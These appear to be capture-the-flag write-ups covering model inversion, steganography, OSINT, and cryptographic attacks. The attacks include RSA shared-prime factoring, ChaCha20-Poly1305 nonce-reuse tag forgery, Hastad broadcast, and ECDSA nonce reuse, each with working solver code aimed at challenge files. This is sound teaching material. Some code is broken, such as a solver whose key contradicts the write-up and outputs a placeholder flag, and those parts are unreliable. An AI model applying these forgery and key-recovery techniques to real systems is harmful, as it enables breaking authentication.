After recovering the normalized input, we convert it back into the original byte values:

1
raw = rint(x * 255).astype(uint8)

The following Python script performs the complete inversion:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/usr/bin/env python3

from pathlib import Path

import numpy as np
import onnx
from onnx import numpy_helper


ROOT = Path(__file__).resolve().parents[2]
MODEL = ROOT / "player" / "heisenberg.onnx"


def main() -> None:
    model = onnx.load(MODEL)
    tensors = {
        item.name: numpy_helper.to_array(item)
        for item in model.graph.initializer
    }

    matrix = tensors["fc1.weight"].astype(np.float64)
    bias = tensors["fc1.bias"].astype(np.float64)
    target = tensors["buffer_0"].astype(np.float64)

    normalized = np.linalg.lstsq(
        matrix,
        np.arctanh(target) - bias,
        rcond=None,
    )[0]

    raw = np.rint(normalized * 255).astype(np.uint8)
    print(bytes(raw).decode("ascii"))


if __name__ == "__main__":
    main()

Running the script recovers the flag:

1
CYS{Y0UR3_G0DD4MN_R1GHT_ABQKQF!}

An alternative approach is to perform gradient ascent on the fifth logit, since maximizing the fifth score minimizes the distance between the generated representation and the hidden target.

The intended solve is therefore:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ONNX model
    ↓
Inspect computation graph
    ↓
Find auxiliary distance branch
    ↓
Extract fc1.weight, fc1.bias and buffer_0
    ↓
Invert Tanh using arctanh
    ↓
Solve Ax + b = arctanh(target)
    ↓
Convert normalized values back to bytes
    ↓
Recover flag

Flag

CYS{Y0UR3_G0DD4MN_R1GHT_ABQKQF!}

Signal Lost

Signal Lost

Author: Shreehari

This is a multi-layer forensics/steganography challenge. The image contains three decoy investigation paths and one genuine path requiring cross-referencing.

Tools used: exiftool, strings, binwalk, zsteg, Python (Pillow)

For the initial reconnaissance:

We inspect the image metadata using exiftool:

1
exiftool signal_lost.png

The metadata contains:

Artist: Probe HELIOS-7 / Autonomous Imaging Unit

Description: Deep field survey - unit helios7 - final burst before LOS

Comment: T3BlcmF0aW9uIERlZXAgU2t5IC0gRnJhbWUgNDcvMTI4

The Comment is base64 encoded. We decode it using:

1
echo "T3BlcmF0aW9uIERlZXAgU2t5IC0gRnJhbWUgNDcvMTI4" | base64 -d

This gives:

1
Operation Deep Sky - Frame 47/128

This is flavour text and leads to a dead end.

For the binwalk part:

We inspect the image using binwalk:

1
2
binwalk signal_lost.png
binwalk -e signal_lost.png

This finds zlib data after IEND. Decompressing it gives:

1
2
3
4
[HELIOS-7 DIAGNOSTIC LOG]
Status: CRITICAL - Loss of signal imminent
Result: Primary data stream: CORRUPTED
        Backup stream: UNAVAILABLE

For the pixel analysis:

We use zsteg:

1
zsteg signal_lost.png

The relevant output is:

1
2
3
b1,r,lsb,xy    .. text: [garbage/noise]
b1,g,lsb,xy    .. text: "auth:probe_designation"
b1,b,lsb,xy    .. file: data

The channels can be interpreted as:

Red = noise (corrupted primary stream)

Green = auth:probe_designation ← KEY HINT

Blue = encrypted payload

The value auth:probe_designation means that the decryption key is the probe’s designation.

From the Step 1 metadata, the Description contains unit helios7.

Therefore:

1
key = "helios7"

For the decryption part:

We extract the blue channel LSBs using Python and Pillow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from PIL import Image

img = Image.open("signal_lost.png")
pixels = list(img.getdata())

# Extract blue channel LSBs
blue_bytes = []
bits = []
for p in pixels:
    bits.append(p[2] & 1)
    if len(bits) == 8:
        val = 0
        for b in bits:
            val = (val << 1) | b
        if val == 0:
            break
        blue_bytes.append(val)
        bits = []

# XOR with key
key = b"NEWKEY123"
flag = bytes([blue_bytes[i] ^ key[i % len(key)] for i in range(len(blue_bytes))])
print(flag.decode())

The output is:

1
CYS{dynamic_flag}

Flag

CYS{dynamic_flag}

The Archivist's Last Secret

The Archivist’s Last Secret

Author: Om

This is a steganography challenge combining DCT-based steganography, PNG chunk analysis, ML-KEM-768 decapsulation, HKDF-SHA256 key derivation, and AES-256-GCM decryption.

For the seed identification part:

The story gives the date 21-08-2026 and indicates that it should be written without separators.

This gives the deterministic seed:

1
20260821

The same seed is used when shuffling the candidate DCT coefficients.

For the AES payload extraction from Image 1:

The first image hides data in JPEG DCT coefficients. The DCT position is (1,2), zero coefficients are ignored, and the parity of each remaining coefficient encodes a bit.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pathlib import Path
import jpegio as jio
import random

IMAGE = "FINAL_CHALL_1.jpg"
SEED = 20260821
DCT_POS = (1, 2)
PAYLOAD_SIZE = 60

jpeg = jio.read(IMAGE)
Y = jpeg.coef_arrays[0]

candidates = []

height, width = Y.shape

for block_y in range(0, height, 8):
    for block_x in range(0, width, 8):
        y = block_y + DCT_POS[0]
        x = block_x + DCT_POS[1]

        if Y[y, x] != 0:
            candidates.append(Y[y, x])

rng = random.Random(SEED)
rng.shuffle(candidates)

bits = [
    abs(value) % 2
    for value in candidates[:PAYLOAD_SIZE * 8]
]

payload = bytes(
    sum(bits[i + j] << (7 - j) for j in range(8))
    for i in range(0, len(bits), 8)
)

Path("aes_payload.bin").write_bytes(payload)

The recovered payload is 60 bytes. The first 48 bytes contain the AES-GCM ciphertext and authentication tag, while the final 12 bytes are the nonce.

1
2
3
4
5
6
from pathlib import Path

payload = Path("aes_payload.bin").read_bytes()

Path("aes_ciphertext.bin").write_bytes(payload[:48])
Path("aes_nonce.bin").write_bytes(payload[48:])

For the ML-KEM private key extraction from Image 2:

The second image uses six DCT positions. The same non-zero coefficient rule, parity extraction, and deterministic shuffle are applied.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import jpegio as jio
import random
from pathlib import Path

IMAGE = "FINAL_CHALL_2.jpg"
SEED = 20260821

POSITIONS = [
    (0, 1),
    (0, 2),
    (1, 1),
    (1, 2),
    (2, 1),
    (2, 2),
]

PAYLOAD_SIZE = 2498

jpeg = jio.read(IMAGE)
Y = jpeg.coef_arrays[0]

candidates = []

height, width = Y.shape

for block_y in range(0, height, 8):
    for block_x in range(0, width, 8):
        for row, col in POSITIONS:
            y = block_y + row
            x = block_x + col

            if Y[y, x] != 0:
                candidates.append((y, x))

rng = random.Random(SEED)
rng.shuffle(candidates)

required_bits = PAYLOAD_SIZE * 8

if len(candidates) < required_bits:
    raise RuntimeError(
        f"Not enough DCT candidates: "
        f"{len(candidates)} available, "
        f"{required_bits} required"
    )

selected = candidates[:required_bits]

bits = [
    abs(Y[y, x]) % 2
    for y, x in selected
]

payload = bytearray()

for i in range(0, len(bits), 8):
    byte = 0

    for bit in bits[i:i + 8]:
        byte = (byte << 1) | bit

    payload.append(byte)

Path("mlkem768.der").write_bytes(payload)

The extracted payload is 2498 bytes, which matches the ML-KEM-768 private-key size.

For the Image 3 inspection:

The third image is a PNG containing an additional custom chunk. Its chunk structure can be inspected with pngcheck.

1
pngcheck -v FINAL_CHALL_3.png

The output reveals the custom chunk containing the ML-KEM ciphertext.

For the ML-KEM ciphertext extraction:

The custom chunk can be extracted directly from the PNG.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pathlib import Path
import struct

PNG = "FINAL_CHALL_3.png"
TARGET = b"ctXT"

data = Path(PNG).read_bytes()
offset = 8

while offset < len(data):
    length = struct.unpack(">I", data[offset:offset + 4])[0]
    chunk_type = data[offset + 4:offset + 8]
    chunk_data = data[offset + 8:offset + 8 + length]

    if chunk_type == TARGET:
        Path("mlkem_ciphertext.bin").write_bytes(chunk_data)
        break

    offset += 12 + length

The extracted ciphertext is 1088 bytes, matching the ML-KEM-768 ciphertext size.

For the ML-KEM-768 decapsulation:

The 2498-byte private key and the 1088-byte ciphertext are used together to recover the ML-KEM shared secret.

1
2
3
4
5
6
openssl pkeyutl \
    -decap \
    -inkey mlkem768.der \
    -keyform DER \
    -in mlkem_ciphertext.bin \
    -secret shared_secret.bin

The resulting shared secret can be checked with:

1
xxd -p shared_secret.bin

For the AES-256 key derivation:

The ML-KEM shared secret is used as the input key material for HKDF-SHA256. The information string is CTF-AES-256-GCM, and the output length is 32 bytes.

1
2
3
4
5
6
7
openssl kdf -binary \
    -keylen 32 \
    -kdfopt digest:SHA256 \
    -kdfopt key:$(xxd -p -c 256 shared_secret.bin) \
    -kdfopt info:CTF-AES-256-GCM \
    -kdfopt mode:EXTRACT_AND_EXPAND \
    HKDF > aes_key.bin

Verify the derived key:

1
xxd -p aes_key.bin

The resulting AES-256 key is:

1
b7a85ccc454bae8b8eab9af0fe946ddbcc51538eb5557895ffd16a7f050ba06f

For the AES-256-GCM decryption:

The derived AES key is combined with the ciphertext and nonce recovered from Image 1.

1
2
3
4
5
6
7
8
9
from pathlib import Path
from cryptography.hazmat.primitives.ciphers.aead import AESGCM

key = Path("aes_key.bin").read_bytes()
ciphertext = Path("aes_ciphertext.bin").read_bytes()
nonce = Path("aes_nonce.bin").read_bytes()

flag = AESGCM(key).decrypt(nonce, ciphertext, None)
print(flag.decode())

AES-GCM verifies the authentication tag during decryption. A mismatch in the key, nonce, ciphertext, or authentication tag causes decryption to fail.

The successful AES-256-GCM decryption reveals the final flag:

1
CYS{1_@m_iN_+h3_3mp1r3_8u$in388}

Flag

CYS{1_@m_iN_+h3_3mp1r3_8u$in388}

The Blue Signal

The Blue Signal

Author: Akshitha M

This is a OSING based CTF challenge using instagram, github and Google docs.

@capncookmrwhite In the right side we can see the user @capncookmrwhite The picture is colored differently (purple and pink instead of the original blue) pointing to instagram’s iconic colors.

Upon searching the username on instagram we land on a public page with one post image image

Few letters in the caption of the post are capitalized randomly spelling out GITHUB.

image

All are fake except last one

image

download the last html and enter the password image

use base64 decoder image

A google docs will open, all visible text is useless

image image

Hex of sky blue is 00BFFF

Epi number is 11 and it’s morning 11AM

“Where my world leaks into yours” refers to coordinates of shooting location which is John B. Robert Dam with decimal coordinates 35.1381 -106.5156

Use flag format to get answer

CYS{11AM_35.1381_-106.5156_00BFFF}

Flag

CYS{11AM_35.1381_-106.5156_00BFFF}

The Broken Formula

The Broken Formula

Challenge Description

You are given six files:

1
2
3
4
5
6
01.jpg
02.jpg
03.jpg
04.png
05.png
audio.mp3

The goal is to recover the flag.

The challenge is a chain of clues and cryptographic mistakes. The main path is:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Find authenticated carrier
        ↓
Recover fragment order
        ↓
Break RSA
        ↓
Find nonce reuse
        ↓
Recover ChaCha20 keystream
        ↓
Recover Poly1305 parameters
        ↓
Forge command
        ↓
Derive vault key
        ↓
Decrypt vault
        ↓
Flag

audio.mp3 is a deliberate decoy. It contains a misleading flag-like result and is not part of the successful solve path.


1. Inspect the Files

Start by checking the files:

1
2
ls -lah
file 01.jpg 02.jpg 03.jpg 04.png 05.png audio.mp3

The interesting files are 02.jpg and 05.png.

They both contain hidden index data.

The important clue is that the two indexes contain the same candidate fragments, but only one index is authenticated.

The audio file is a decoy and does not contribute to the real solve.

So don’t simply choose the first index you can extract.


2. Find the Authenticated Index

05.png contains an IDX8 structure hidden in the image data.

The beginning of the hidden structure is:

1
IDX8

The PNG uses the image pixels themselves to hide the data. The relevant bit is the least significant bit of the red channel.

A simple extraction script can recover the bytes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from PIL import Image

image = Image.open("05.png").convert("RGB")

bits = []

for r, g, b in image.getdata():
    bits.append(r & 1)

raw = bytearray()

for i in range(0, len(bits) - 7, 8):
    value = 0

    for bit in range(8):
        value |= bits[i + bit] << (7 - bit)

    raw.append(value)

    if raw[:4] == b"IDX8":
        print(raw[:64].hex())
        break

The structure contains an authentication value.

The equivalent decoy data is present in 02.jpg.

The important observation is:

1
2
05.png → authority VALID
02.jpg → authority INVALID

Therefore the authenticated index from 05.png is the one to trust.


3. Recover the Fragment Candidates

The authenticated index gives these candidates:

1
2
3
4
5
6
A17
C04
B29
D38
E52
F11

At this point, don’t assume all six are real.

The challenge contains continuity information that determines which fragment follows which.

The valid chain is:

1
A17 → C04 → B29

The other entries are decoys:

1
2
3
D38
E52
F11

The useful clue is the transition relationship:

1
2
3
A17 → C04
C04 → B29
B29 → END

So the real fragment order is:

1
A17 → C04 → B29

This establishes the correct path into the next layer.


4. Recover the RSA Private Key

The next clue comes from the recovered protocol information.

The protocol uses RSA keys A, B and C.

The important mistake is that RSA keys A and B share a prime factor.

For RSA:

1
n = p × q

If two moduli share p:

1
2
nA = p × qA
nB = p × qB

then:

1
gcd(nA, nB) = p

You can therefore recover the shared prime directly.

First load the two public moduli:

1
2
3
4
5
6
7
8
9
10
11
12
import json
import math

data = json.load(open("master.json"))

n_a = int(data["rsa"]["A"]["n"])
e_a = int(data["rsa"]["A"]["e"])

n_b = int(data["rsa"]["B"]["n"])

p = math.gcd(n_a, n_b)
q = n_a // p

Then calculate the private exponent:

1
2
3
4
5
6
7
phi = (p - 1) * (q - 1)

d = pow(
    e_a,
    -1,
    phi
)

The RSA private key can then be reconstructed with the recovered p, q, d, e and n.

The encrypted protocol value is the top-level protocol field in the recovered data:

1
2
3
ciphertext = bytes.fromhex(
    data["protocol"]
)

Decrypt it using RSA-OAEP with SHA-256:

1
2
3
4
5
6
7
8
9
10
11
12
plaintext = private_key.decrypt(
    ciphertext,
    padding.OAEP(
        mgf=padding.MGF1(
            algorithm=hashes.SHA256()
        ),
        algorithm=hashes.SHA256(),
        label=None
    )
)

print(plaintext.decode())

The decrypted protocol contains the critical clue:

1
2
3
4
5
DEAD-DROP/07
AUTH=CHACHA20-POLY1305
WARNING=NONCE-REUSE
PACKETS=50
TARGET=OPEN-VAULT

The important line is:

1
WARNING=NONCE-REUSE

5. Parse the Traffic

The next artifact is the binary traffic.

It has the header:

1
DDPK

followed by:

1
2
Protocol version: 8
Packet count: 50

Each packet contains:

1
2
3
4
5
6
7
8
9
sequence number
AAD length
nonce length
ciphertext length
tag length
AAD
nonce
ciphertext
tag

Parse the packet header with:

1
2
3
4
5
6
import struct

seq, aad_len, nonce_len, cipher_len, tag_len = struct.unpack(
    ">HBBHB",
    raw[offset:offset + 7]
)

The traffic contains several reused nonce groups.

The important one is:

1
[13, 34, 47]

All three packets use the same nonce.

The packet structure is:

1
2
3
4
5
Packet 13 → 16-byte ciphertext

Packet 34 → 16-byte ciphertext

Packet 47 → 16-byte ciphertext

This is the real nonce-reuse group.


6. Recover the ChaCha20 Keystream

ChaCha20 is a stream cipher.

The basic relationship is:

1
ciphertext = plaintext XOR keystream

Therefore:

1
keystream = ciphertext XOR plaintext

Packet 13 has known plaintext:

1
PING|NODE=07|OK!

Recover the keystream:

1
2
3
4
5
6
7
8
9
10
11
known = b"PING|NODE=07|OK!"

keystream = bytes(
    a ^ b
    for a, b in zip(
        known,
        ciphertext
    )
)

print(keystream.hex())

The recovered 16-byte keystream is:

1
885516f46eb4af483e1bbc30598645c0

Because the nonce was reused, the same keystream is valid for packets 34 and 47.

Their first 16 plaintext bytes become:

1
2
3
AUTH|USER|STAT!!

AUTH|USER|READ!!

That confirms the nonce-reuse attack.


7. Recover Poly1305 r and s

ChaCha20-Poly1305 also authenticates the encrypted data using Poly1305.

Nonce reuse means the same Poly1305 one-time key is reused.

For this challenge, the three reused packets all have 16-byte ciphertexts, making the equations manageable.

The Poly1305 modulus is:

1
2
3
P = (1 << 130) - 5

MOD = 1 << 128

The challenge’s fixed-length polynomial can be represented as:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def poly_value(ciphertext, r):

    message = (
        int.from_bytes(
            ciphertext,
            "little"
        ) +
        (1 << 128)
    )

    length_block = 16 << 64

    h = 0

    h = (
        (h + message) * r
    ) % P

    h = (
        (h + length_block) * r
    ) % P

    return h

For two packets:

1
2
3
tag1 = Poly1305(message1, r) + s

tag2 = Poly1305(message2, r) + s

Subtracting the equations removes s.

The final tag is reduced modulo:

1
2^128

so the solver also accounts for the small possible tag carries.

The recovered values are:

1
2
3
r = 0xd22de48026933b0053407780e113741

s = 0x190aef408628d7c22942d84aecf852c9

The important point is that the recovered candidate is checked against the third packet before it is accepted.


8. Forge AUTH|MAINT|OPEN!

Now we have both things needed for a forgery:

1
2
3
ChaCha20 keystream

Poly1305 r and s

The target command is:

1
AUTH|MAINT|OPEN!

It is exactly 16 bytes.

Generate its ciphertext:

1
2
3
4
5
6
7
8
9
10
11
target = b"AUTH|MAINT|OPEN!"

forged_ciphertext = bytes(
    a ^ b
    for a, b in zip(
        target,
        keystream
    )
)

print(forged_ciphertext.hex())

The resulting ciphertext is:

1
c90042bc12f9ee01704fc07f09c30be1

Calculate the new Poly1305 tag:

1
2
3
4
5
6
7
8
9
10
11
12
13
forged_tag = (
    (
        poly_value(
            forged_ciphertext,
            r
        ) + s
    ) % (1 << 128)
).to_bytes(
    16,
    "little"
)

print(forged_tag.hex())

The resulting tag is:

1
3d4cb61e46cb99c0360f10207fc01b5f

So the forged packet represents:

1
AUTH|MAINT|OPEN!

with a valid authentication tag.


9. Derive the Vault Key

The challenge uses the forged packet to derive the vault key.

The transcript is:

1
nonce || forged ciphertext || forged tag

Build it:

1
2
3
4
5
transcript = (
    bytes.fromhex(nonce) +
    bytes.fromhex(forged_ciphertext) +
    bytes.fromhex(forged_tag)
)

Then derive the key:

1
2
3
4
5
6
import hashlib

vault_key = hashlib.sha256(
    b"DD07-VAULT-V1|" +
    transcript
).digest()

This is the key used to protect the final vault.


10. Decrypt the Vault

The vault uses ChaCha20-Poly1305 again.

Load its nonce and ciphertext, then decrypt using the derived key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305

vault_nonce = bytes.fromhex(
    data["vault"]["nonce"]
)

vault_ciphertext = bytes.fromhex(
    data["vault"]["ciphertext"]
)

flag = ChaCha20Poly1305(
    vault_key
).decrypt(
    vault_nonce,
    vault_ciphertext,
    None
)

print(flag.decode())

The vault decrypts successfully.


11. Final Flag

1
CYS{W@1t$_d3@D_dR0P_pR0t0c01_c0mpr0m1$3d_8y_J3$$3}

Solve Summary

StepWhat you discover
105.png contains the authenticated index
2The real fragment chain is A17 → C04 → B29
3RSA A and B share a prime
4The decrypted protocol warns about nonce reuse
5Packets 13, 34, 47 reuse a nonce
6Known plaintext recovers the ChaCha20 keystream
7Reused Poly1305 material gives r and s
8Forge AUTH|MAINT|OPEN!
9Hash the forged transcript to derive the vault key
10Decrypt the vault
11Recover the flag

Flag

CYS{W@1t$_d3@D_dR0P_pR0t0c01_c0mpr0m1$3d_8y_J3$$3}

The Evidence

The Evidence

Author: Hait Patel

This is a steganography, forensics, and cryptography-based CTF challenge in which the flag is divided into two halves, F₁ and F₂. Both halves are protected using visual steganography, metadata pivot links, Word container structures, and custom PNG file chunks.

All true payload data and keys are hidden in the Bit 0 channel (LSB) across the primary color planes. Multiple decoy flags and trap keys exist across other bit planes to mislead automated tools and superficial visual inspection.

For the Tools Used:

  • StegSolve (or zsteg on Linux)
  • exiftool
  • CyberChef
  • A zip/archive utility

For Step 1 — Extract Key 1 and Decrypt Flag Part 1 (F₁):

Files provided: RV_challenge.png, Lab_challenge.png

For Recovering Key 1:

  1. Open RV_challenge.png in StegSolve (or inspect via zsteg on Linux).
  2. Cycle through the bit planes to Red Plane 0 (R0) to extract the plaintext key:
1
METH_LAB_RED_KEY

For Extracting the Encrypted F₁ Payload:

  1. Open Lab_challenge.png in StegSolve.
  2. Navigate to Analyse → Data Extract.
  3. Select Blue 0 (B0) (MSB first, Row order) and copy the extracted hex stream:
1
0E 1C 07 33 1D 20 14 71 00 15 75

For Decrypting Part 1 in CyberChef:

Recipe:

  1. From Hex (Delimiter: Auto)
  2. XOR (Key: METH_LAB_RED_KEY, Type: UTF8, Scheme: Standard) → yields CYS{BlU3_G0

Output (F₁):

1
CYS{BlU3_G0

For Step 2 — Locate the Word File via Metadata:

Inspect the metadata of RV_challenge.png:

1
exiftool RV_challenge.png

The metadata contains a link pointing to an external Word document, challenge.docx. Download this file.

For Step 3 — Extract the Nested Document Media & Folder Links:

Microsoft Word’s UI strips ancillary PNG chunks and metadata when using “Save as Picture,” so the raw media must be unpacked directly from the .docx archive.

  1. Rename challenge.docxchallenge.zip.
  2. Unzip the file and navigate to the media folder:
1
challenge.zip/word/media/
  1. Run exiftool on the second image (image2.png):
1
exiftool -Description -Comment image2.png
  1. This reveals two separate links:

    • Description field → link to Folder A (holds the file containing the encrypted F₂ payload)
    • Comment field → link to Folder B (holds the file containing Key 2)
  2. Download both files from their respective folders.

For Step 4 — Carve Embedded Files Using CyberChef:

Both downloaded files contain nested PNG structures injected into custom ancillary chunks.

  1. Open CyberChef.
  2. Drag and drop the file downloaded from Folder A into the Input panel.
  3. Apply the Extract Files operation.
  4. Save the carved inner image file: flaghere_carved.png.
  5. Repeat the exact same steps for the file downloaded from Folder B to carve the key image file: key_carved.png.

For Step 5 — Extract Key 2 and Encrypted Flag Part 2 (F₂):

For Extracting Encrypted F₂:

  1. Open flaghere_carved.png in StegSolve → Analyse → Data Extract.
  2. Select Blue 0 (B0) (MSB, Row order) and scroll to the top of the output preview:
1
ENC_F2_HEX: 2F 74 05 32 3D 3F 6C 14 1C 7B 03 5C 39 1A 0E 64

For Extracting Key 2:

  1. Open key_carved.png in StegSolve → Analyse → Data Extract.
  2. Select Blue 0 (B0) and scroll to the top of the output preview:
1
REAL_KEY: M3TH_SUPR3M3_K3Y

For Step 6 — Decrypt Flag Part 2 (F₂) & Reassemble Flag:

Input:

1
2F 74 05 32 3D 3F 6C 14 1C 7B 03 5C 39 1A 0E 64

Recipe:

  1. From Hex (Delimiter: Auto)
  2. XOR (Key: M3TH_SUPR3M3_K3Y, Type: UTF8, Scheme: Standard) → yields bGQzbl9DNHNofQ==
  3. From Base64

Output (F₂):

1
ld3n_C4sh}

For the Final Reassembly:

1
F1 + F2 = CYS{BlU3_G0 + ld3n_C4sh} = CYS{BlU3_G0ld3n_C4sh}

For the Final Flag:

1
CYS{BlU3_G0ld3n_C4sh}

Flag

CYS{BlU3_G0ld3n_C4sh}

The Safe That Was Never the Point

The Safe That Was Never the Point

Author: Om

This is a cryptography challenge combining Shamir Secret Sharing, Feldman VSS on secp256k1, RSA Hastad Broadcast Attack with CRT, SHA-256-based key derivation, XOR-based fragment recovery, and Lagrange interpolation to reconstruct the final flag.

For the Shamir shares and Feldman VSS verification:

The challenge contains ten Shamir shares. Some of them have been corrupted.

The story hints that some pages have invalid seals.

The commitments in archived_pages.json allow verification using Feldman VSS.

The curve used is secp256k1.

For every share:

```text id=”f6qf91” yG = C0 + xC1 + x²C2 + … + x⁹C9

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
If both sides match, the share is valid.

```python id="g5x5j1"
import json
from ecdsa import SECP256k1, ellipticcurve

curve = SECP256k1
G = curve.generator
N = curve.order


def point_from_json(obj):
    return ellipticcurve.Point(
        curve.curve,
        int(obj["x"],16),
        int(obj["y"],16),
        N
    )


def verify_share(x,y,commitments):

    lhs = y * G
    rhs = ellipticcurve.INFINITY

    power = 1

    for c in commitments:
        rhs += power * point_from_json(c)
        power = (power*x) % N

    return lhs == rhs


with open("archived_pages.json") as f:
    data=json.load(f)


valid=[]

for share in data["shares"]:

    x=share["x"]
    y=int(share["y"],16)

    if verify_share(
        x,
        y,
        data["commitments"]
    ):
        valid.append((x,y))


print("Valid shares:")
print([x for x,y in valid])

The output is:

```text id=”8f6t8s” Valid shares: [2,5,6,9]

1
2
3
4
5
6
7
8
9
10
11
These four shares are used for RSA selection.

For the RSA record selection:

Only the valid shares are used.

They are sorted by x value and encoded as:

```text id="l9n3h4"
x || y

where:

  • x is 1 byte
  • y is 32 bytes

The SHA-256 hash of this data selects the RSA record:

```text id=”n7sgji” record = SHA256(data) % 4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
```python id="3z8f9n"
import hashlib

valid.sort()

payload=b""

for x,y in valid:

    payload += x.to_bytes(1,"big")
    payload += y.to_bytes(32,"big")


digest = hashlib.sha256(
    payload
).digest()


record = int.from_bytes(
    digest,
    "big"
) % 4


print(record)

The output is:

```text id=”k8f7x2” 3

1
2
3
4
5
Therefore:

```text id="r3n4w6"
sealed_folders.json -> 3

is the real RSA record.

For recovering the corrupted shares via the RSA Hastad Broadcast Attack:

The selected RSA record contains three ciphertexts.

The story hints:

  • same plaintext
  • three RSA encryptions
  • no padding
  • cube root recovery

This is RSA Hastad Broadcast Attack.

The exponent is:

```text id=”v9k2s4” e = 3

1
2
3
4
5
CRT combines the ciphertexts:

```text id="p3c7x1"
c1,c2,c3

into:

```text id=”h4m8q2” m³

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
Then the integer cube root gives the plaintext.

```python id="z6n1r8"
import json
from math import prod


def crt(records):

    N=prod(
        n for n,c in records
    )

    result=0

    for n,c in records:

        Ni=N//n
        inv=pow(Ni,-1,n)

        result += c*Ni*inv

    return result % N


def cube_root(n):

    lo=0
    hi=1<<(n.bit_length()//3+2)

    while lo<hi:

        mid=(lo+hi+1)//2

        if mid**3<=n:
            lo=mid
        else:
            hi=mid-1

    return lo


with open("sealed_folders.json") as f:
    data=json.load(f)


selected=data["records"]["3"]

records=[
    (r["n"],r["c"])
    for r in selected
]


m3=crt(records)

m=cube_root(m3)

payload=m.to_bytes(
    (m.bit_length()+7)//8,
    "big"
)


print(payload.hex())


records=[]

for offset in range(0, len(payload), 33):

    x = payload[offset]
    y = int.from_bytes(
        payload[offset + 1:offset + 33],
        "big"
    )

    records.append((x, y))


recovered = [
    {"x": x, "y": hex(y)}
    for x, y in records
]

with open("recovered_shares.json", "w") as f:
    json.dump(recovered, f, indent=4)

print("recovered_shares.json written")

The recovered payload contains:

```text id=”c8j5w3” 6 original (x,y) pairs

1
2
3
4
5
These correspond to the corrupted shares:

```text id="u2m6k9"
x = 1,3,4,7,8,10

For repairing the shares:

The RSA plaintext gives the original values of corrupted shares.

Replace those values in shares.json.

```python id=”q4v8s2” import json

with open(“archived_pages.json”) as f: shares_data = json.load(f)

with open(“recovered_shares.json”) as f: recovered = json.load(f)

recovered_map = {r[“x”]: r[“y”] for r in recovered}

for share in shares_data[“shares”]: if share[“x”] in recovered_map: share[“y”] = recovered_map[share[“x”]]

with open(“repaired_shares.json”, “w”) as f: json.dump(shares_data, f, indent=4)

print(“repaired_shares.json written”)

1
2
3
4
5
6
7
After repair, Feldman verification should mark all shares as valid.

The output file becomes:

```text id="j5r2n7"
repaired_shares.json

For reconstructing the Shamir secret:

The repaired shares can reconstruct the Shamir secret.

The secret is:

```text id=”b8w3q6” f(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
using Lagrange interpolation.

This is only a verification step.

The secret is not the flag.

For recovering the XOR-encoded flag fragments:

`hidden_strips.json` contains only encoded fragments.

The missing x values are recovered from the RSA payload.

For every recovered share:

```text id="e7t4m9"
mask = SHA256(
"CYS-XOR" || x || original_y
)

Then:

```text id=”s1n6p8” fragment = encoded XOR mask

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
The decoded fragments are sorted by x and joined.

```python id="w2k9f5"
import json
import hashlib


with open("recovered_shares.json") as f:
    recovered=json.load(f)

with open("hidden_strips.json") as f:
    fragments=json.load(f)


recovered.sort(
    key=lambda x:x["x"]
)


def mask(x,y):

    data=(
        b"CYS-XOR"
        + x.to_bytes(1,"big")
        + y.to_bytes(32,"big")
    )

    return hashlib.sha256(data).digest()


flag=[]


for share,fragment in zip(
    recovered,
    fragments["fragments"]
):

    x=share["x"]
    y=int(share["y"],16)

    encoded=bytes.fromhex(
        fragment["encoded"]
    )

    m=mask(x,y)

    flag.append(
        bytes(
            a^b
            for a,b in zip(
                encoded,
                m
            )
        )
    )


print(
    b"".join(flag).decode()
)

The final flag is:

text id="r7c4x1" CYS{y0uR_$h@M1r_$ecR3ts_aR3_s@f3_w1th_Me_uNd3r_tHr8_0f_d1sB@rM3nt}

Flag

CYS{y0uR_$h@M1r_$ecR3ts_aR3_s@f3_w1th_Me_uNd3r_tHr8_0f_d1sB@rM3nt}

The Same Wheel, Twice Turned

The Same Wheel, Twice Turned

Author: Om

This is a cryptography challenge demonstrating ECDSA nonce reuse, followed by ECDH shared-secret recovery, XORShift8-based salt reconstruction, SHA-256 hash-chain analysis, HKDF-SHA256 key derivation, and AES-256-GCM decryption to recover the final flag.

For the ECDSA nonce recovery:

The two messages are:

1
2
Archive access request: sector-17
Archive access request: sector-42

The challenge provides info.json containing the two ECDSA signatures.

Read the values:

```python id=”d7k3p1” import json

with open(“info.json”, “r”) as f: data = json.load(f)

r1 = int(data[“sector_17_log”][“echo”], 16) s1 = int(data[“sector_17_log”][“trace”], 16) r2 = int(data[“sector_42_log”][“echo”], 16) s2 = int(data[“sector_42_log”][“trace”], 16)

1
2
3
4
5
6
7
